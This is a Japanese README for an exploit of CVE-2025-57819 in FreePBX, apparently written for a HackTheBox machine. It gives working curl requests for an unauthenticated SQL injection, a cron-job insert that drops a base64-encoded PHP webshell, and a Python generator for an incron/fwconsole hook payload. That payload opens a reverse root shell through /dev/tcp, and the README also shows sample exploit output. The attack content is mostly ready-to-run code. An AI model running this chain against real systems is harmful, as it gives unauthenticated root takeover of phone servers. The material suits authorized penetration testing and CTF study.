
FreePBX における未認証 SQL インジェクションからリモートコード実行 (RCE) へ — CVE-2025-57819
重要度: 重大
種別: 認証なしSQLインジェクション → リモートコード実行
影響を受けるソフトウェア: FreePBX (endpointモジュール)
検証環境: CentOS 7上のFreePBX、Apache 2.4、PHP 7.4、MariaDB 5.5
FreePBXのendpointモジュールには、/admin/ajax.phpのbrandパラメータを介した認証なしSQLインジェクションの脆弱性が存在します。この脆弱性を悪用するのに認証情報は必要ありません。
FreePBXの内部cronジョブ機構とincron/fwconsoleフックシステムを組み合わせることで、認証なしで完全なrootシェルを取得できます。
[No Auth Required]
│
▼
Unauthenticated SQL Injection
(/admin/ajax.php → brand parameter)
│
├──► Extract DB credentials, user hashes
│
├──► INSERT into cron_jobs
│ │
│ └──► PHP webshell dropped in web root
│ │
│ └──► RCE as asterisk (user flag)
│
└──► Write incron trigger file (as asterisk)
│
└──► sysadmin_manager fires as root
│
└──► fwconsole hook → Root Shell
pip install requests
python3 CVE-2025-57819.py <target> <lhost> <lport>
例:
python3 CVE-2025-57819.py connected.htb 10.10.xx.xx 9999
出力:
[*] Verifying Unauthenticated SQLi...
[+] SQLi confirmed!
[+] Database : asterisk
[+] Version : 5.5.65-MariaDB
[+] DB User : freepbxuser@localhost
[*] Inserting Cron Job to Drop Webshell...
[+] Cron job inserted — waiting up to 90s for it to fire...
[+] Webshell active! → uid=999(asterisk) gid=1000(asterisk)
[+] User Flag → HTB{REDACTED}
[*] Triggering Root Shell → 10.10.xx.xx:9999
[+] Trigger file created — incron will fire it as root!
endpointモジュールのAJAXハンドラにおけるbrandパラメータは、サニタイズなしでSQLクエリに直接渡されます:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
&command=model&template=x&model=model
&brand=x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
これにより、XPATHエラー内にデータベース名が返されます — 古典的なエラーベースのSQLi手法です。スタックドクエリにも対応しており、INSERT、UPDATE、DELETE操作が可能です。
スタックドクエリを使用して、FreePBXのcron_jobsテーブルにcronジョブを挿入します:
INSERT INTO cron_jobs
(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
('sysadmin', 'poc', 'echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+|base64 -d >/var/www/html/shell.php',
NULL, '* * * * *', 30, 1, 1)
FreePBXのcronランナーはこれを毎分実行し、WebルートにPHPウェブシェルを配置します。
incrondは/var/spool/asterisk/incron/(asteriskユーザーが書き込み可能)を監視しています。そこにファイルが作成されると、/usr/bin/sysadmin_managerがrootとしてトリガーされます。
api.fwconsole-commands.<payload>というファイル名形式は、既存のGPG署名付きフックに対応します:
/var/www/html/admin/modules/api/hooks/fwconsole-commands
フックはファイル名をbase64(zlib(json([cmd, txn_id])))ペイロードとしてデコードし、次のコードを実行します:
$cmd = "/usr/sbin/fwconsole $command 2>&1";
help;をプレフィックスとして使うとfwconsoleの有効なコマンドとして扱われ、;で任意のシェルコマンドを連結できます:
help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1
このコマンドはrootとして実行され、完全なrootシェルが得られます。
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+DATABASE()),0x7e))--+-"
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x';INSERT+INTO+cron_jobs(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)\
+VALUES('sysadmin','poc','echo+PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==|base64+-d\
+>/var/www/html/shell.php',NULL,'*+*+*+*+*',30,1,1)--+-"
# Save to file to avoid shell quoting issues
cat > gen.py << 'EOF'
import base64, json, zlib
cmd = "help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
payload = base64.b64encode(
zlib.compress(json.dumps([cmd, "txn"]).encode())
).decode().replace("/", "_")
print(payload)
EOF
python3 gen.py
# On the target (as asterisk via webshell)
touch "/var/spool/asterisk/incron/api.fwconsole-commands.<PAYLOAD>"
| 日付 | イベント |
|---|---|
| 2025 | 脆弱性を発見し報告 |
| 2025-11-30 | HackTheBoxにボックスを展開 |
| 2025 | CVE-2025-57819を採番 |
このツールは教育目的および許可を得たセキュリティテスト専用です。明示的なテスト許可がないシステムに対して使用しないでください。作者は不正使用について一切の責任を負いません。
| 調査結果 | 詳細 |
|---|
| データベース | asterisk (MariaDB 5.5.65) |
| DBユーザー | freepbxuser@localhost |
| Webユーザー | asterisk (uid=999) |
| Cronテーブル | SQLi経由で書き込み可能 |
| Incronディレクトリ | /var/spool/asterisk/incron/ (asteriskユーザーが書き込み可能) |
| 権限昇格 | incrond経由でfwconsoleフックがrootとして実行 |
| root取得の手法 | Incronトリガー → 署名付きfwconsoleフック → コマンドインジェクション |